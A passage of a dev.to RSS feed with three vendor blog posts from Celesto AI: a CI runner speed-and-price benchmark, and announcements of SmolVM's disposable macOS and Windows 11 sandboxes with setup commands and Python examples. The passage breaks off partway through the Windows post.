      <description>&lt;p&gt;I build Celesto CI. &lt;strong&gt;Celesto has a lower paid per-minute rate than both Blacksmith and GitHub's 4-core Linux larger runner. In the snapshot below, Celesto finished the cold builds faster than GitHub's benchmark runner.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the useful comparison: how long you wait, what a running minute costs, and what those numbers actually measure.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we compared
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://github.com/celestoai/ci-benchmarks" rel="noopener noreferrer"&gt;Celesto CI benchmark repository&lt;/a&gt; publishes workflows, results and source run links. This article uses its &lt;a href="https://github.com/CelestoAI/ci-benchmarks/blob/main/results/2026-11-14-latest-run/README.md" rel="noopener noreferrer"&gt;November 14 comparison&lt;/a&gt;, including the November 15 Celesto Docker rerun after a runner disk change.&lt;/p&gt;

&lt;p&gt;All three rows use Linux x64 runners with 4 vCPU and 16 GB of listed RAM. That is the same listed configuration, not identical hardware. CPU models, disks, regions and host load differ.&lt;/p&gt;

&lt;p&gt;The workloads are real public projects pinned to commits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rust:&lt;/strong&gt; &lt;code&gt;spotify-player&lt;/code&gt;, with formatting checks, tests and two Clippy passes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node/TypeScript:&lt;/strong&gt; &lt;code&gt;opencode&lt;/code&gt;, with a cold Bun install and typecheck. Turbo's local and remote caches are disabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docker:&lt;/strong&gt; PostHog's production image, built with no build cache.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache:&lt;/strong&gt; save and restore a 4 GiB file using &lt;code&gt;actions/cache&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Queue:&lt;/strong&gt; start a burst of 15 jobs and measure the median wait from job creation to runner start.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Celesto's results come from our repository. GitHub and Blacksmith results come from the &lt;a href="https://github.com/runs-on-demo/benchmark-public" rel="noopener noreferrer"&gt;RunsOn public benchmark data&lt;/a&gt;, using the workloads described in its &lt;a href="https://runs-on.com/benchmarks/methodology/" rel="noopener noreferrer"&gt;methodology&lt;/a&gt;. RunsOn also sells CI infrastructure, so this is vendor-maintained evidence, not an independent lab test.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build times: Celesto beats GitHub; Blacksmith trades a 6x paid rate for speed
&lt;/h2&gt;

&lt;p&gt;Lower is better.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Workload&lt;/th&gt;
&lt;th&gt;GitHub&lt;/th&gt;
&lt;th&gt;Blacksmith&lt;/th&gt;
&lt;th&gt;Celesto CI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Rust&lt;/td&gt;
&lt;td&gt;3m 35s&lt;/td&gt;
&lt;td&gt;2m 02s&lt;/td&gt;
&lt;td&gt;2m 54s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node/TypeScript&lt;/td&gt;
&lt;td&gt;1m 38s&lt;/td&gt;
&lt;td&gt;50s&lt;/td&gt;
&lt;td&gt;1m 19s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;12m 59s&lt;/td&gt;
&lt;td&gt;5m 52s&lt;/td&gt;
&lt;td&gt;9m 14s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cache save + restore&lt;/td&gt;
&lt;td&gt;1m 20s&lt;/td&gt;
&lt;td&gt;17s&lt;/td&gt;
&lt;td&gt;41s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Burst queue, p50&lt;/td&gt;
&lt;td&gt;3s&lt;/td&gt;
&lt;td&gt;11s&lt;/td&gt;
&lt;td&gt;15s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Compared with GitHub in this snapshot, Celesto reduced Rust workload time by about &lt;strong&gt;19%&lt;/strong&gt;, Node/TypeScript by &lt;strong&gt;19%&lt;/strong&gt;, and Docker by &lt;strong&gt;29%&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Blacksmith completed all three builds and the cache test sooner, at &lt;strong&gt;6x Celesto's paid per-minute rate&lt;/strong&gt; for this listed configuration ($0.008 versus $0.00133333). That is a rate comparison, not a claim that each build costs 6x as much: Blacksmith's shorter runtime offsets part of the rate difference. GitHub had the shortest burst queue wait.&lt;/p&gt;

&lt;p&gt;These are workload-phase times, not the full time from pushing a commit to getting a green check. Setup, collection and other steps outside the measured phases are excluded. Queue wait is shown separately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Paid rates: Celesto costs less per running minute
&lt;/h2&gt;

&lt;p&gt;Here are the published Linux x64 rates for the same listed 4-vCPU / 16-GB configuration, checked November 15, 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Paid rate per minute&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub, Linux 4-core larger runner&lt;/td&gt;
&lt;td&gt;$0.012&lt;/td&gt;
&lt;td&gt;&lt;a href="https://docs.github.com/en/billing/reference/actions-runner-pricing" rel="noopener noreferrer"&gt;GitHub runner pricing&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Blacksmith, 4 vCPU&lt;/td&gt;
&lt;td&gt;$0.008&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.blacksmith.sh/pricing" rel="noopener noreferrer"&gt;Blacksmith pricing&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Celesto CI, Large&lt;/td&gt;
&lt;td&gt;$0.00133333&lt;/td&gt;
&lt;td&gt;&lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;Celesto CI pricing&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Celesto's $0.08/hour rate works out to about &lt;strong&gt;89% less per minute than GitHub's 4-core larger runner&lt;/strong&gt; and &lt;strong&gt;83% less than Blacksmith's 4-vCPU runner&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There is an important distinction: the GitHub timing row uses its public-repository standard runner. The $0.012 rate belongs to GitHub's paid 4-core larger-runner SKU. The listed CPU and RAM align, but these results do not establish the performance of that paid SKU. This is a specification-level price comparison alongside a benchmark, not an invoice comparison for the measured GitHub jobs.&lt;/p&gt;

&lt;p&gt;Also, free usage matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub's standard runners are free for public repositories, and eligible private-repository usage has an included allowance. Celesto does not beat a $0 bill on price.&lt;/li&gt;
&lt;li&gt;Blacksmith advertises 3,000 free minutes per month.&lt;/li&gt;
&lt;li&gt;Celesto offers a one-time $5 trial, but the current trial is Micro-only. It does not cover the Large runner used here.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsqv75fx2v8doi9d263bs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsqv75fx2v8doi9d263bs.png" alt="Celesto vs GitHub Actions: list rate per runtime minute at 2 vCPU / 8 GB RAM, $60.00 vs $6.67 for 10,000 minutes" width="800" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The chart compares list rates at 2 vCPU / 8 GB RAM. The benchmark and rate table above use 4 vCPU / 16 GB.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A lower rate is not the whole bill
&lt;/h2&gt;

&lt;p&gt;A runner that costs more per minute can finish sooner. A fair cost-per-job comparison needs each provider's &lt;strong&gt;full billable runtime&lt;/strong&gt;, its billing rules, allowances and any extra charges.&lt;/p&gt;

&lt;p&gt;Multiplying only the build times above by the rates would leave things out. GitHub rounds each job up to a whole minute. Celesto counts runner preparation and cleanup as runtime too. Queue and workload times answer different questions, and neither is a substitute for your invoice.&lt;/p&gt;

&lt;p&gt;The lower rate is why Celesto is worth testing for CI that runs continuously as coding agents push changes. The speed results give another reason to try it against GitHub, but they do not promise that every workflow will improve.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it on your own workflow
&lt;/h2&gt;

&lt;p&gt;Install the Celesto CI GitHub App and finish workspace setup from &lt;a href="https://celesto.ai/ci" rel="noopener noreferrer"&gt;celesto.ai/ci&lt;/a&gt;. To test the size used in this comparison, change the job's runner label to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;celesto-large&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use a workspace with credit for that runner. Use the explicit size label rather than assuming &lt;code&gt;celesto&lt;/code&gt; selects this configuration.&lt;/p&gt;

&lt;p&gt;Run the same commit on each provider several times. Keep cold and warm builds separate. Compare queue wait, full job duration, cache behavior, failures and actual charges. The &lt;a href="https://github.com/CelestoAI/ci-benchmarks/blob/main/docs/suites.md" rel="noopener noreferrer"&gt;suite guide&lt;/a&gt; explains how to reproduce the published workloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Celesto is cheaper per paid running minute than both alternatives at this listed size, and it was faster than GitHub on these cold builds. Blacksmith's shorter build times came with a paid per-minute rate 6x Celesto's.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This snapshot has one successful job per provider for each build and cache suite, with provider runs on different dates. The queue row is the median of one 15-job burst per provider. It is a starting point, not a universal ranking or a long-run reliability study.&lt;/p&gt;

&lt;p&gt;If your CI bill is growing, test Celesto on a workflow you already run. Keep the provider that gives you the best balance of wait time and actual cost.&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>devops</category>
      <category>githubactions</category>
      <category>performance</category>
    </item>
    <item>
      <title>Disposable macOS Sandboxes for AI Agents: Test Safely, Every Time</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 28 Jul 2026 13:10:36 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/disposable-macos-sandboxes-for-ai-agents-test-safely-every-time-3och</link>
      <guid>https://dev.to/aniketmaurya/disposable-macos-sandboxes-for-ai-agents-test-safely-every-time-3och</guid>
      <description>&lt;p&gt;Have you ever wanted to try out a new app, or open a file you weren't fully sure about, but felt nervous doing it on your main computer? What if it's broken, or worse, causes a mess you have to clean up? That's exactly the worry this new feature is designed to remove.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a "sandbox," anyway?
&lt;/h2&gt;

&lt;p&gt;In computing, a sandbox is simply a separate, temporary space where you can try things out safely. Think of it like a rented test kitchen: you can cook, make a mess, and try new recipes, and when you're done, you just walk away. Nothing you do in there affects your own kitchen at home.&lt;/p&gt;

&lt;p&gt;A "virtual machine" (VM for short) is how you create that separate space on a computer. It behaves like a whole separate computer running inside your real one, with its own operating system and its own storage. You can turn it on, use it, and throw it away without ever touching your actual machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introducing the feature: disposable macOS sandboxes
&lt;/h2&gt;

&lt;p&gt;We've built a way to create a full, temporary Mac desktop that runs on your own Apple Silicon Mac (any Mac with an M1, M2, M3, or M4 chip). It behaves like an ordinary Mac: a real desktop, a real Finder, and the ability to install real apps, including ones distributed as &lt;code&gt;.dmg&lt;/code&gt; files, the standard format for Mac installers.&lt;/p&gt;

&lt;p&gt;The key part is that this desktop is disposable. Once you're done testing, you delete it, and everything that happened inside disappears with it. Your actual Mac stays exactly as it was.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who's behind this: Celesto AI and SmolVM
&lt;/h2&gt;

&lt;p&gt;This feature is part of &lt;a href="https://github.com/CelestoAI/smolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt;, a tool built by &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI &lt;/a&gt; for running small, temporary virtual computers, or "sandboxes," on your own machine. SmolVM already lets people spin up disposable Linux environments, and this release extends that same idea to macOS.&lt;/p&gt;

&lt;p&gt;You don't need to know anything about AI agents to use it, but SmolVM was built with them in mind. An AI agent that needs to test software, click through an installer, or explore a desktop can now do all of that inside a throwaway macOS sandbox instead of touching a real computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you can do with a macOS sandbox
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Open a full macOS desktop, viewed through Apple's own Screen Sharing app, the same one used for remotely connecting to another Mac.&lt;/li&gt;
&lt;li&gt;Install and test apps, including ones that come as &lt;code&gt;.dmg&lt;/code&gt; installer files.&lt;/li&gt;
&lt;li&gt;Share a folder from your real Mac into the sandbox. By default the sandbox can only look at those files, not change them.&lt;/li&gt;
&lt;li&gt;Stop a sandbox and come back to it later without losing anything inside it.&lt;/li&gt;
&lt;li&gt;Delete a sandbox entirely once you're finished, wiping out everything you did inside it.&lt;/li&gt;
&lt;li&gt;Reuse a saved macOS setup so your next sandbox is created much faster than the first one.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Getting started, step by step
&lt;/h2&gt;

&lt;p&gt;This feature is used through a command-line tool, which just means typing short text commands into a "Terminal" app instead of clicking buttons. Don't worry if you've never done this before: each step below is a single line you can copy and paste.&lt;/p&gt;

&lt;p&gt;First, a one-time setup. This downloads what's needed from Apple, which takes roughly 20 to 40 minutes and about 50GB of free space, so it's worth doing before you're in a hurry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm setup &lt;span class="nt"&gt;--macos&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, create your first sandbox and give it a name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm sandbox create &lt;span class="nt"&gt;--os&lt;/span&gt; macos &lt;span class="nt"&gt;--name&lt;/span&gt; nimble-mac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, open its desktop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm sandbox desktop nimble-mac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apple's Screen Sharing app opens automatically, showing a real macOS login screen. Log in with username &lt;code&gt;lume&lt;/code&gt; and password &lt;code&gt;lume&lt;/code&gt;. This login is shared and meant only for local testing, so avoid signing into personal or sensitive accounts inside the sandbox.&lt;/p&gt;

&lt;h2&gt;
  
  
  A peek under the hood (optional reading)
&lt;/h2&gt;

&lt;p&gt;If you're curious how this works, here are the details, though none of this is required to use the feature.&lt;/p&gt;

&lt;p&gt;Each sandbox is powered by an open-source project called Lume, which uses Apple's own built-in tools for running virtual Macs. Rather than building a full copy of macOS for every sandbox, SmolVM prepares one base copy and gives each new sandbox a lightweight clone that stores only the changes you make. That's why creating a sandbox after the first one is fast, and why deleting a sandbox never affects any other sandbox or the base copy.&lt;/p&gt;

&lt;p&gt;The connection to your sandbox's desktop only works from your own Mac and never travels out onto the internet. The security features you'd expect from a normal Mac, like Gatekeeper and System Integrity Protection, stay switched on inside the sandbox too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Good to know: this is a preview
&lt;/h2&gt;

&lt;p&gt;A few limits apply for now: you can run at most two sandboxes at once, each one gets a fixed amount of computing power (4 CPU cores, 8GB of memory, and 80GB of storage), and there's no way yet to connect to a sandbox through the command line, only through the desktop view. These limits are expected to ease over time.&lt;/p&gt;

&lt;p&gt;Even with those limits, it's a simple, safe way to try things on macOS, for yourself or for an AI agent, without ever putting your main computer at risk.&lt;/p&gt;

&lt;p&gt;Learn more about &lt;a href="https://github.com/CelestoAI/smolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt; on GitHub or visit &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt; to see what else they're building.&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>sandbox</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Open Source Windows Sandbox in Python: Run Windows 11 on Linux with SmolVM</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 26 May 2026 14:33:25 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/open-source-windows-sandbox-in-python-run-windows-11-on-linux-with-smolvm-4aig</link>
      <guid>https://dev.to/aniketmaurya/open-source-windows-sandbox-in-python-run-windows-11-on-linux-with-smolvm-4aig</guid>
      <description>&lt;p&gt;Linux-only sandboxes will not automate the world.&lt;/p&gt;

&lt;p&gt;A lot of business software does not live inside a clean Linux container.&lt;/p&gt;

&lt;p&gt;It lives on Windows.&lt;/p&gt;

&lt;p&gt;Desktop apps. Legacy ERPs. Transport systems. Insurance tools. Back-office workflows. Internal software with no API, no docs, and no clean path for integration.&lt;/p&gt;

&lt;p&gt;That is the awkward truth for computer-use agents.&lt;/p&gt;

&lt;p&gt;If agents need to do real work, they need to run where the work already happens. For many companies, that means Windows.&lt;/p&gt;

&lt;p&gt;That is why we added &lt;strong&gt;Windows sandboxes&lt;/strong&gt; to &lt;strong&gt;&lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;SmolVM can now boot an isolated Windows 11 VM from Python, run PowerShell commands over SSH, upload files into Windows paths, pass environment variables, and discard the VM after the task.&lt;/p&gt;

&lt;p&gt;This is V1. It is not magic. It is the foundation for a more realistic agent runtime.&lt;/p&gt;

&lt;p&gt;Agents need computers.&lt;/p&gt;

&lt;p&gt;Some of those computers need to run Windows.&lt;/p&gt;

&lt;h2&gt;
  
  
  What do we mean by “Windows sandbox”?
&lt;/h2&gt;

&lt;p&gt;First, a clarification.&lt;/p&gt;

&lt;p&gt;Microsoft already has a product called &lt;strong&gt;Windows Sandbox&lt;/strong&gt;. It is a built-in Windows feature that gives users a temporary isolated desktop environment for safe app testing and file inspection on supported Windows editions.&lt;/p&gt;

&lt;p&gt;SmolVM solves a different problem.&lt;/p&gt;

&lt;p&gt;In this post, “Windows sandbox” means a disposable Windows 11 virtual machine controlled by SmolVM from Python on a Linux host.&lt;/p&gt;

&lt;p&gt;The difference is important:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Microsoft Windows Sandbox is a local desktop feature for Windows users.&lt;/li&gt;
&lt;li&gt;SmolVM Windows sandboxes are programmable Windows VMs for developers, agents, test systems, and automation pipelines.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With SmolVM, you can start a Windows VM from Python, run commands, upload files, pass config, and delete the machine when the task ends.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Windows support matters
&lt;/h2&gt;

&lt;p&gt;The first wave of AI agents wrote code.&lt;/p&gt;

&lt;p&gt;The next wave needs computers.&lt;/p&gt;

&lt;p&gt;Not just terminals. Not just containers. Real computers.&lt;/p&gt;

&lt;p&gt;Agents will need to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;open business software&lt;/li&gt;
&lt;li&gt;inspect files&lt;/li&gt;
&lt;li&gt;read screens&lt;/li&gt;
&lt;li&gt;click buttons&lt;/li&gt;
&lt;li&gt;run scripts&lt;/li&gt;
&lt;li&gt;use desktop apps&lt;/li&gt;
&lt;li&gt;complete workflows across messy systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A Linux sandbox works well for code execution. But it does not cover the full automation surface.&lt;/p&gt;

&lt;p&gt;A logistics agent may need a transport management system.&lt;/p&gt;

&lt;p&gt;An insurance agent may need a claims desktop app.&lt;/p&gt;

&lt;p&gt;A finance agent may need an internal Windows-only tool.&lt;/p&gt;

&lt;p&gt;A support agent may need back-office software that never had an API.&lt;/p&gt;

&lt;p&gt;A serious agent infrastructure stack cannot pretend every workflow happens inside Ubuntu.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run a Windows sandbox from Python
&lt;/h2&gt;

&lt;p&gt;SmolVM gives Windows guests the same core Python API used for Linux guests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write-Output &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hello from windows&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This starts a Windows 11 VM, waits for SSH, runs a PowerShell command, and exits.&lt;/p&gt;

&lt;p&gt;On context exit, SmolVM stops and deletes the VM.&lt;/p&gt;

&lt;p&gt;That is the core primitive: a disposable Windows computer from Python.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run a Windows sandbox on Linux or Ubuntu
&lt;/h2&gt;

&lt;p&gt;SmolVM Windows guests run on Linux hosts with QEMU and KVM.&lt;/p&gt;

&lt;p&gt;On Debian or Ubuntu, install the host prerequisites:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;qemu-system-x86 ovmf swtpm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows 11 needs UEFI and TPM 2.0. SmolVM handles the OVMF firmware state, starts a per-VM software TPM process, wires QEMU, and sets up SSH access.&lt;/p&gt;

&lt;p&gt;You still need a Windows disk image. SmolVM does not ship a Windows image.&lt;/p&gt;

&lt;p&gt;You can either bring your own Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image or create one with the SmolVM CLI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build a Windows 11 sandbox image
&lt;/h2&gt;

&lt;p&gt;If you do not already have a Windows &lt;code&gt;.qcow2&lt;/code&gt;, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm windows build-image &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--iso&lt;/span&gt; ./Win11.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--virtio-win-iso&lt;/span&gt; ./virtio-win.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; ~/.smolvm/images/win11.qcow2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You provide:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a Windows 11 ISO&lt;/li&gt;
&lt;li&gt;the virtio-win driver ISO&lt;/li&gt;
&lt;li&gt;an output path for the &lt;code&gt;.qcow2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The build command creates a Windows image with OpenSSH Server, virtio-win drivers, and a local admin account.&lt;/p&gt;

&lt;p&gt;Once the image exists, you can boot it like any other SmolVM guest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hostname&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Run PowerShell inside the Windows sandbox
&lt;/h2&gt;

